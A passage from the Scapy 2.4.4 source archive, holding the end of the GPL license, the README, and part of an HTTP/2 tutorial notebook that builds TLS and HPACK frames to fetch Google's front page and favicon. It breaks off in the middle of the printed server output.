ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. , 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. scapy-2.4.4/MANIFEST.in000066400000000000000000000001141372370053500143770ustar00rootroot00000000000000include MANIFEST.in include LICENSE include run_scapy include scapy/VERSION scapy-2.4.4/README000077700000000000000000000000001372370053500147772README.mdustar00rootroot00000000000000scapy-2.4.4/README.md000066400000000000000000000107431372370053500141310ustar00rootroot00000000000000

# Scapy [![Travis Build Status](https://travis-ci.com/secdev/scapy.svg?branch=master)](https://travis-ci.com/secdev/scapy) [![AppVeyor Build status](https://ci.appveyor.com/api/projects/status/os03daotfja0wtp7/branch/master?svg=true)](https://ci.appveyor.com/project/secdev/scapy/branch/master) [![Codecov Status](https://codecov.io/gh/secdev/scapy/branch/master/graph/badge.svg)](https://codecov.io/gh/secdev/scapy) [![Codacy Badge](https://api.codacy.com/project/badge/Grade/30ee6772bb264a689a2604f5cdb0437b)](https://www.codacy.com/app/secdev/scapy) [![PyPI Version](https://img.shields.io/pypi/v/scapy.svg)](https://pypi.python.org/pypi/scapy/) [![Python Versions](https://img.shields.io/pypi/pyversions/scapy.svg)](https://pypi.python.org/pypi/scapy/) [![License: GPL v2](https://img.shields.io/badge/License-GPL%20v2-blue.svg)](LICENSE) [![Join the chat at https://gitter.im/secdev/scapy](https://badges.gitter.im/secdev/scapy.svg)](https://gitter.im/secdev/scapy) Scapy is a powerful Python-based interactive packet manipulation program and library. It is able to forge or decode packets of a wide number of protocols, send them on the wire, capture them, store or read them using pcap files, match requests and replies, and much more. It is designed to allow fast packet prototyping by using default values that work. It can easily handle most classical tasks like scanning, tracerouting, probing, unit tests, attacks or network discovery (it can replace `hping`, 85% of `nmap`, `arpspoof`, `arp-sk`, `arping`, `tcpdump`, `wireshark`, `p0f`, etc.). It also performs very well at a lot of other specific tasks that most other tools can't handle, like sending invalid frames, injecting your own 802.11 frames, combining techniques (VLAN hopping+ARP cache poisoning, VoIP decoding on WEP protected channel, ...), etc. Scapy supports Python 2.7 and Python 3 (3.4 to 3.8). It's intended to be cross platform, and runs on many different platforms (Linux, OSX, \*BSD, and Windows). ## Getting started Scapy is usable either as a **shell** or as a **library**. For further details, please head over to [Getting started with Scapy](https://scapy.readthedocs.io/en/latest/introduction.html), which is part of the documentation. ### Shell demo ![Scapy install demo](https://secdev.github.io/files/doc/animation-scapy-install.svg) Scapy can easily be used as an interactive shell to interact with the network. The following example shows how to send an ICMP Echo Request message to `github.com`, then display the reply source IP address: ```python sudo ./run_scapy Welcome to Scapy >>> p = IP(dst="github.com")/ICMP() >>> r = sr1(p) Begin emission: .Finished to send 1 packets. * Received 2 packets, got 1 answers, remaining 0 packets >>> r[IP].src '192.30.253.113' ``` ### Resources The [documentation](https://scapy.readthedocs.io/en/latest/) contains more advanced use cases, and examples. Other useful resources: - [Scapy in 20 minutes](https://github.com/secdev/scapy/blob/master/doc/notebooks/Scapy%20in%2015%20minutes.ipynb) - [Interactive tutorial](https://scapy.readthedocs.io/en/latest/usage.html#interactive-tutorial) (part of the documentation) - [The quick demo: an interactive session](https://scapy.readthedocs.io/en/latest/introduction.html#quick-demo) (some examples may be outdated) - [HTTP/2 notebook](https://github.com/secdev/scapy/blob/master/doc/notebooks/HTTP_2_Tuto.ipynb) - [TLS notebooks](https://github.com/secdev/scapy/blob/master/doc/notebooks/tls) ## [Installation](https://scapy.readthedocs.io/en/latest/installation.html) Scapy works without any external Python modules on Linux and BSD like operating systems. On Windows, you need to install some mandatory dependencies as described in [the documentation](http://scapy.readthedocs.io/en/latest/installation.html#windows). On most systems, using Scapy is as simple as running the following commands: ```bash git clone https://github.com/secdev/scapy cd scapy ./run_scapy ``` To benefit from all Scapy features, such as plotting, you might want to install Python modules, such as `matplotlib` or `cryptography`. See the [documentation](http://scapy.readthedocs.io/en/latest/installation.html) and follow the instructions to install them. ## Contributing Want to contribute? Great! Please take a few minutes to [read this](CONTRIBUTING.md)! scapy-2.4.4/doc/000077500000000000000000000000001372370053500134125ustar00rootroot00000000000000scapy-2.4.4/doc/notebooks/000077500000000000000000000000001372370053500154155ustar00rootroot00000000000000scapy-2.4.4/doc/notebooks/HTTP_2_Tuto.ipynb000066400000000000000000007277321372370053500205150ustar00rootroot00000000000000{ "metadata": { "name": "", "signature": "sha256:50ffc723dfcf9f5650b542c1b77933eeaa2df6f665494225ce2aba661b86885e" }, "nbformat": 3, "nbformat_minor": 0, "worksheets": [ { "cells": [ { "cell_type": "heading", "level": 1, "metadata": {}, "source": [ "HTTP/2 Tutorial" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "This tutorial aims at creating an HTTP/2 session using Scapy. The frontpage of Google will be fetched. The favicon will also be loaded as a dependency of the frontpage. Finally, a Google query will be submitted. The first queries will be generated using some Scapy helpers. The last one will be generated by hand, to better illustrate the low level APIs.\n", "\n", "This tutorial can be run without any privileges (no root, no CAP_NET_ADMIN, no CAP_NET_RAW). One can select \"Cell -> Run All\" to perform the three queries." ] }, { "cell_type": "heading", "level": 2, "metadata": {}, "source": [ "Building the socket" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "First, we need to build an TLS socket to the HTTP server, and to negotiate the HTTP/2 protocol as the next protocol. Doing so requires a fairly recent version of the Python ssl module. We indeed need support of ALPN (https://www.rfc-editor.org/rfc/rfc7301.txt).\n", "We build our TCP socket first." ] }, { "cell_type": "code", "collapsed": false, "input": [ "import socket\n", "dn = 'www.google.fr'\n", "\n", "# Get the IP address of a Google HTTP endpoint\n", "l = socket.getaddrinfo(dn, 443, socket.INADDR_ANY, socket.SOCK_STREAM, socket.IPPROTO_TCP)\n", "assert len(l) > 0, 'No address found :('\n", "\n", "s = socket.socket(l[0][0], l[0][1], l[0][2])\n", "s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n", "if hasattr(socket, 'SO_REUSEPORT'):\n", " s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)\n", "ip_and_port = l[0][4]" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 99 }, { "cell_type": "markdown", "metadata": {}, "source": [ "We now build our SSL context and we wrap the previously defined socket in it." ] }, { "cell_type": "code", "collapsed": false, "input": [ "import ssl\n", "# Testing support for ALPN\n", "assert(ssl.HAS_ALPN)\n", "\n", "# Building the SSL context\n", "ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)\n", "ssl_ctx.set_ciphers(':'.join([ # List from ANSSI TLS guide v.1.1 p.51\n", " 'ECDHE-ECDSA-AES256-GCM-SHA384',\n", " 'ECDHE-RSA-AES256-GCM-SHA384',\n", " 'ECDHE-ECDSA-AES128-GCM-SHA256',\n", " 'ECDHE-RSA-AES128-GCM-SHA256',\n", " 'ECDHE-ECDSA-AES256-SHA384',\n", " 'ECDHE-RSA-AES256-SHA384',\n", " 'ECDHE-ECDSA-AES128-SHA256',\n", " 'ECDHE-RSA-AES128-SHA256',\n", " 'ECDHE-ECDSA-CAMELLIA256-SHA384',\n", " 'ECDHE-RSA-CAMELLIA256-SHA384',\n", " 'ECDHE-ECDSA-CAMELLIA128-SHA256',\n", " 'ECDHE-RSA-CAMELLIA128-SHA256',\n", " 'DHE-RSA-AES256-GCM-SHA384',\n", " 'DHE-RSA-AES128-GCM-SHA256',\n", " 'DHE-RSA-AES256-SHA256',\n", " 'DHE-RSA-AES128-SHA256',\n", " 'AES256-GCM-SHA384',\n", " 'AES128-GCM-SHA256',\n", " 'AES256-SHA256',\n", " 'AES128-SHA256',\n", " 'CAMELLIA128-SHA256'\n", " ])) \n", "ssl_ctx.set_alpn_protocols(['h2']) # h2 is a RFC7540-hardcoded value\n", "ssl_sock = ssl_ctx.wrap_socket(s, server_hostname=dn)" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 100 }, { "cell_type": "markdown", "metadata": {}, "source": [ "We then connect the socket to the TCP endpoint." ] }, { "cell_type": "code", "collapsed": false, "input": [ "ssl_sock.connect(ip_and_port)\n", "assert('h2' == ssl_sock.selected_alpn_protocol())" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 101 }, { "cell_type": "heading", "level": 2, "metadata": {}, "source": [ "Reading the server settings and acknowledging them." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "With HTTP/2, the server is the first to talk, sending its settings for the HTTP/2 session. Let's read them. For this, we wrap the TLS connection into a Scapy SuperSocket for easier management." ] }, { "cell_type": "code", "collapsed": false, "input": [ "import scapy.supersocket as supersocket\n", "import scapy.contrib.http2 as h2\n", "import scapy.config\n", "scapy.config.conf.debug_dissector = True\n", "ss = supersocket.SSLStreamSocket(ssl_sock, basecls=h2.H2Frame)\n", "srv_set = ss.recv()\n", "srv_set.show()" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "###[ HTTP/2 Frame ]### \n", " len = 0x12\n", " type = SetFrm\n", " flags = set([])\n", " reserved = 0L\n", " stream_id = 0L\n", "###[ HTTP/2 Settings Frame ]### \n", " \\settings \\\n", " |###[ HTTP/2 Setting ]### \n", " | id = Max concurrent streams\n", " | value = 100\n", " |###[ HTTP/2 Setting ]### \n", " | id = Initial window size\n", " | value = 1048576\n", " |###[ HTTP/2 Setting ]### \n", " | id = Max header list size\n", " | value = 16384\n", "\n" ] } ], "prompt_number": 102 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Let's make a note of the server settings for later usage.\n", "We define variables for the server settings. They are assigned the RFC-defined default values. These values are overwritten by the settings provided by the server, if they are provided." ] }, { "cell_type": "code", "collapsed": false, "input": [ "srv_max_frm_sz = 1<<14\n", "srv_hdr_tbl_sz = 4096\n", "srv_max_hdr_tbl_sz = 0\n", "srv_global_window = 1<<14\n", "for setting in srv_set.payload.settings:\n", " if setting.id == h2.H2Setting.SETTINGS_HEADER_TABLE_SIZE:\n", " srv_hdr_tbl_sz = setting.value\n", " elif setting.id == h2.H2Setting.SETTINGS_MAX_HEADER_LIST_SIZE:\n", " srv_max_hdr_lst_sz = setting.value\n", " elif setting.id == h2.H2Setting.SETTINGS_INITIAL_WINDOW_SIZE:\n", " srv_global_window = setting.value" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 103 }, { "cell_type": "markdown", "metadata": {}, "source": [ "HTTP/2 is a very polite protocol. We need to acknowledge the server settings. For this, we first need to send a constant string, which is a connection preface. This serves the purpose of confirming to the server that the HTTP/2 protocol is understood by the client. Scapy builds the appropriate packet for us to send from this constant string." ] }, { "cell_type": "code", "collapsed": false, "input": [ "import scapy.packet as packet\n", "\n", "# We verify that the server window is large enough for us to send some data.\n", "srv_global_window -= len(h2.H2_CLIENT_CONNECTION_PREFACE)\n", "assert(srv_global_window >= 0)\n", "\n", "ss.send(packet.Raw(h2.H2_CLIENT_CONNECTION_PREFACE))" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 104, "text": [ "24" ] } ], "prompt_number": 104 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Then, we build the acknowledgment frame and we send our own settings in another frame. We will define very LARGE values (maximum values as defined in the RFC7540, in most cases), just so that we don't end up having to handle window management in this tutorial." ] }, { "cell_type": "code", "collapsed": false, "input": [ "set_ack = h2.H2Frame(flags={'A'})/h2.H2SettingsFrame()\n", "set_ack.show()" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "###[ HTTP/2 Frame ]### \n", " len = None\n", " type = SetFrm\n", " flags = set(['ACK (A)'])\n", " reserved = 0\n", " stream_id = 0\n", "###[ HTTP/2 Settings Frame ]### \n", " \\settings \\\n", "\n" ] } ], "prompt_number": 105 }, { "cell_type": "code", "collapsed": false, "input": [ "own_set = h2.H2Frame()/h2.H2SettingsFrame()\n", "max_frm_sz = (1 << 24) - 1\n", "max_hdr_tbl_sz = (1 << 16) - 1\n", "win_sz = (1 << 31) - 1\n", "own_set.settings = [\n", " h2.H2Setting(id = h2.H2Setting.SETTINGS_ENABLE_PUSH, value=0),\n", " h2.H2Setting(id = h2.H2Setting.SETTINGS_INITIAL_WINDOW_SIZE, value=win_sz),\n", " h2.H2Setting(id = h2.H2Setting.SETTINGS_HEADER_TABLE_SIZE, value=max_hdr_tbl_sz),\n", " h2.H2Setting(id = h2.H2Setting.SETTINGS_MAX_FRAME_SIZE, value=max_frm_sz),\n", "]" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 106 }, { "cell_type": "markdown", "metadata": {}, "source": [ "We then send the two frames and then read the acknowledgment of our settings from the server. We set up a loop because the first frames that we may read could be PING frames or window management frames." ] }, { "cell_type": "code", "collapsed": false, "input": [ "h2seq = h2.H2Seq()\n", "h2seq.frames = [\n", " set_ack,\n", " own_set\n", "]\n", "# We verify that the server window is large enough for us to send our frames.\n", "srv_global_window -= len(str(h2seq))\n", "assert(srv_global_window >= 0)\n", "ss.send(h2seq)\n", "\n", "# Loop until an acknowledgement for our settings is received\n", "new_frame = None\n", "while isinstance(new_frame, type(None)) or not (\n", " new_frame.type == h2.H2SettingsFrame.type_id \n", " and 'A' in new_frame.flags\n", " ):\n", " if not isinstance(new_frame, type(None)):\n", " # If we received a frame about window management \n", " if new_frame.type == h2.H2WindowUpdateFrame.type_id:\n", " # For this tutorial, we don't care about stream-specific windows, but we should :)\n", " if new_frame.stream_id == 0:\n", " srv_global_window += new_frame.payload.win_size_incr\n", " # If we received a Ping frame, we acknowledge the ping, \n", " # just by setting the ACK flag (A), and sending back the query\n", " elif new_frame.type == h2.H2PingFrame.type_id:\n", " new_flags = new_frame.getfieldval('flags')\n", " new_flags.add('A')\n", " new_frame.flags = new_flags\n", " srv_global_window -= len(str(new_frame))\n", " assert(srv_global_window >= 0)\n", " ss.send(new_frame)\n", " else:\n", " assert new_frame.type != h2.H2ResetFrame.type_id \\\n", " and new_frame.type != h2.H2GoAwayFrame.type_id, \\\n", " \"Error received; something is not right!\"\n", " try:\n", " new_frame = ss.recv()\n", " new_frame.show()\n", " except:\n", " import time\n", " time.sleep(1)\n", " new_frame = None" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "###[ HTTP/2 Frame ]### \n", " len = 0x4\n", " type = WinFrm\n", " flags = set([])\n", " reserved = 0L\n", " stream_id = 0L\n", "###[ HTTP/2 Window Update Frame ]### \n", " reserved = 0L\n", " win_size_incr= 983041L\n", "\n", "###[ HTTP/2 Frame ]### \n", " len = 0x0\n", " type = SetFrm\n", " flags = set(['ACK (A)'])\n", " reserved = 0L\n", " stream_id = 0L\n", "\n" ] } ], "prompt_number": 107 }, { "cell_type": "heading", "level": 2, "metadata": {}, "source": [ "Build the form query with the helpers" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "We are now building a query for the frontpage https://www.google.fr/. We use the HTTP/2 Scapy Module helpers to build this query. The parse_txt_hdrs helper receives various parameters regarding the size of the header blocks and the frame to automatically split the values on multiple frames, if need be. It also receives two callbacks to know which flavour of HPack header encoding we should apply.\n", "\n", "We either use the server settings if they were specified or the default values.\n", "\n", "You may note that we say that cookies are sensitive, regardless of their content. We would do something a bit smarter, if we knew what is the name of the cookies that are sensitive, and those that are merely informative. In HTTP/2 cookies are split into multiple \"cookie\" headers, while in HTTP/1.1, they are all stored inside the same header.\n", "\n", "As the client of this HTTP/2 connection, we need to use odd stream ids, per RFC7540. Since this is the first query, we will use the stream id 1." ] }, { "cell_type": "code", "collapsed": false, "input": [ "tblhdr = h2.HPackHdrTable()\n", "qry_frontpage = tblhdr.parse_txt_hdrs(\n", " ''':method GET\n", ":path /\n", ":authority www.google.fr\n", ":scheme https\n", "accept-encoding: gzip, deflate\n", "accept-language: fr-FR\n", "accept: text/html\n", "user-agent: Scapy HTTP/2 Module\n", "''',\n", " stream_id=1,\n", " max_frm_sz=srv_max_frm_sz,\n", " max_hdr_lst_sz=srv_max_hdr_lst_sz,\n", " is_sensitive=lambda hdr_name, hdr_val: hdr_name in ['cookie'],\n", " should_index=lambda x: x in [\n", " 'x-requested-with', \n", " 'user-agent', \n", " 'accept-language',\n", " ':authority',\n", " 'accept',\n", " ]\n", ")\n", "qry_frontpage.show()" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "###[ HTTP/2 Frame Sequence ]### \n", " \\frames \\\n", " |###[ HTTP/2 Frame ]### \n", " | len = None\n", " | type = HdrsFrm\n", " | flags = set(['End Stream (ES)', 'End Headers (EH)'])\n", " | reserved = 0\n", " | stream_id = 1\n", " |###[ HTTP/2 Headers Frame ]### \n", " | \\hdrs \\\n", " | |###[ HPack Indexed Header Field ]### \n", " | | magic = 1\n", " | | index = 2\n", " | |###[ HPack Indexed Header Field ]### \n", " | | magic = 1\n", " | | index = 4\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 1\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = None\n", " | | | len = None\n", " | | | data = 'HPackZString(www.google.fr)'\n", " | |###[ HPack Indexed Header Field ]### \n", " | | magic = 1\n", " | | index = 7\n", " | |###[ HPack Indexed Header Field ]### \n", " | | magic = 1\n", " | | index = 16\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 17\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = None\n", " | | | len = None\n", " | | | data = 'HPackZString(fr-FR)'\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 19\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = None\n", " | | | len = None\n", " | | | data = 'HPackZString(text/html)'\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 58\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = None\n", " | | | len = None\n", " | | | data = 'HPackZString(Scapy HTTP/2 Module)'\n", "\n" ] } ], "prompt_number": 108 }, { "cell_type": "markdown", "metadata": {}, "source": [ "The previous helper updated the HPackHdrTable structure with the headers that should be indexed. We don't need to look inside that table if we only use helpers. For the sake of this tutorial, though, we will." ] }, { "cell_type": "code", "collapsed": false, "input": [ "for i in xrange(max(tblhdr._static_entries.keys()) + 1, max(tblhdr._static_entries.keys()) + 1 + len(tblhdr._dynamic_table)):\n", " print('Header: {} Value: {}'.format(tblhdr[i].name(), tblhdr[i].value()))" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "Header: user-agent Value: Scapy HTTP/2 Module\n", "Header: accept Value: text/html\n", "Header: accept-language Value: fr-FR\n", "Header: :authority Value: www.google.fr\n" ] } ], "prompt_number": 109 }, { "cell_type": "markdown", "metadata": {}, "source": [ "We also build a query for the favicon." ] }, { "cell_type": "code", "collapsed": false, "input": [ "qry_icon = tblhdr.parse_txt_hdrs(\n", " ''':method GET\n", ":path /favicon.ico\n", ":authority www.google.fr\n", ":scheme https\n", "accept-encoding: gzip, deflate\n", "accept-language: fr-FR\n", "accept: image/x-icon; image/vnd.microsoft.icon\n", "user-agent: Scapy HTTP/2 Module\n", "''',\n", " stream_id=3,\n", " max_frm_sz=srv_max_frm_sz,\n", " max_hdr_lst_sz=srv_max_hdr_tbl_sz,\n", " is_sensitive=lambda hdr_name, hdr_val: hdr_name in ['cookie'],\n", " should_index=lambda x: x in [\n", " 'x-requested-with', \n", " 'user-agent', \n", " 'accept-language',\n", " ':authority',\n", " 'accept',\n", " ]\n", ")\n", "qry_icon.show()" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "###[ HTTP/2 Frame Sequence ]### \n", " \\frames \\\n", " |###[ HTTP/2 Frame ]### \n", " | len = None\n", " | type = HdrsFrm\n", " | flags = set(['End Stream (ES)', 'End Headers (EH)'])\n", " | reserved = 0\n", " | stream_id = 3\n", " |###[ HTTP/2 Headers Frame ]### \n", " | \\hdrs \\\n", " | |###[ HPack Indexed Header Field ]### \n", " | | magic = 1\n", " | | index = 2\n", " | |###[ HPack Literal Header Without Indexing (or Never Indexing) ]### \n", " | | magic = 0\n", " | | never_index= Don't Index\n", " | | index = 4\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = None\n", " | | | len = None\n", " | | | data = 'HPackZString(/favicon.ico)'\n", " | |###[ HPack Indexed Header Field ]### \n", " | | magic = 1\n", " | | index = 65\n", " | |###[ HPack Indexed Header Field ]### \n", " | | magic = 1\n", " | | index = 7\n", " | |###[ HPack Indexed Header Field ]### \n", " | | magic = 1\n", " | | index = 16\n", " | |###[ HPack Indexed Header Field ]### \n", " | | magic = 1\n", " | | index = 64\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 19\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = None\n", " | | | len = None\n", " | | | data = 'HPackZString(image/x-icon; image/vnd.microsoft.icon)'\n", " | |###[ HPack Indexed Header Field ]### \n", " | | magic = 1\n", " | | index = 63\n", "\n" ] } ], "prompt_number": 110 }, { "cell_type": "markdown", "metadata": {}, "source": [ "You may note that several of the headers that are in common between the two queries (the one for the frontpage and the one for the /favicon.ico) are compressed in the second query. They are only referred to by an index number of the dynamic HPack Header Table.\n", "We now alter the favicon query to be dependent of the query for the form." ] }, { "cell_type": "code", "collapsed": false, "input": [ "real_qry_icon = h2.H2Frame(\n", " stream_id=qry_icon.frames[0][h2.H2Frame].stream_id,\n", " flags={'+'}.union(qry_icon.frames[0][h2.H2Frame].flags),\n", ") / h2.H2PriorityHeadersFrame(\n", " hdrs=qry_icon.frames[0][h2.H2HeadersFrame].hdrs,\n", " stream_dependency=1,\n", " weight=32,\n", " exclusive=0\n", ")\n", "real_qry_icon.show()" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "###[ HTTP/2 Frame ]### \n", " len = None\n", " type = HdrsFrm\n", " flags = set(['End Stream (ES)', 'End Headers (EH)', 'Priority (+)'])\n", " reserved = 0\n", " stream_id = 3\n", "###[ HTTP/2 Headers Frame with Priority ]### \n", " exclusive = 0\n", " stream_dependency= 1\n", " weight = 32\n", " \\hdrs \\\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 2\n", " |###[ HPack Literal Header Without Indexing (or Never Indexing) ]### \n", " | magic = 0\n", " | never_index= Don't Index\n", " | index = 4\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = None\n", " | | len = None\n", " | | data = 'HPackZString(/favicon.ico)'\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 65\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 7\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 16\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 64\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 19\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = None\n", " | | len = None\n", " | | data = 'HPackZString(image/x-icon; image/vnd.microsoft.icon)'\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 63\n", "\n" ] } ], "prompt_number": 111 }, { "cell_type": "markdown", "metadata": {}, "source": [ "We can now send both queries to the server." ] }, { "cell_type": "code", "collapsed": false, "input": [ "h2seq = h2.H2Seq()\n", "h2seq.frames = [\n", " qry_frontpage.frames[0],\n", " real_qry_icon\n", "]\n", "srv_global_window -= len(str(h2seq))\n", "assert(srv_global_window >= 0)\n", "ss.send(h2seq)" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 112, "text": [ "117" ] } ], "prompt_number": 112 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Let's read the answers!" ] }, { "cell_type": "code", "collapsed": false, "input": [ "# The stream variable will contain all read frames; we will read on until stream 1 and stream 3 are closed by the server.\n", "stream = h2.H2Seq()\n", "# Number of streams closed by the server\n", "closed_stream = 0\n", "\n", "new_frame = None\n", "while True:\n", " if not isinstance(new_frame, type(None)):\n", " if new_frame.stream_id in [1, 3]:\n", " stream.frames.append(new_frame)\n", " if 'ES' in new_frame.flags:\n", " closed_stream += 1\n", " # If we read a PING frame, we acknowledge it by sending the same frame back, with the ACK flag set.\n", " elif new_frame.stream_id == 0 and new_frame.type == h2.H2PingFrame.type_id:\n", " new_flags = new_frame.getfieldval('flags')\n", " new_flags.add('A')\n", " new_frame.flags = new_flags\n", " ss.send(new_frame)\n", " \n", " # If two streams were closed, we don't need to perform the next operations\n", " if closed_stream >= 2:\n", " break\n", " try:\n", " new_frame = ss.recv()\n", " new_frame.show()\n", " except:\n", " import time\n", " time.sleep(1)\n", " new_frame = None\n", "\n", "stream.show()" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "###[ HTTP/2 Frame ]### \n", " len = 0xe1\n", " type = HdrsFrm\n", " flags = set(['End Headers (EH)'])\n", " reserved = 0L\n", " stream_id = 3L\n", "###[ HTTP/2 Headers Frame ]### \n", " \\hdrs \\\n", " |###[ HPack Dynamic Size Update ]### \n", " | magic = 1\n", " | max_size = 12288\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 8\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 59\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 11\n", " | | data = 'HPackZString(Accept-Encoding)'\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 26\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 3\n", " | | data = 'HPackZString(gzip)'\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 31\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 9\n", " | | data = 'HPackZString(image/x-icon)'\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 33\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 22\n", " | | data = 'HPackZString(Thu, 08 Dec 2016 06:23:59 GMT)'\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 36\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 22\n", " | | data = 'HPackZString(Fri, 16 Dec 2016 06:23:59 GMT)'\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 44\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 22\n", " | | data = 'HPackZString(Thu, 08 Dec 2016 01:00:57 GMT)'\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 0\n", " | \\hdr_name \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 16\n", " | | data = 'HPackZString(x-content-type-options)'\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 5\n", " | | data = 'HPackZString(nosniff)'\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 54\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 3\n", " | | 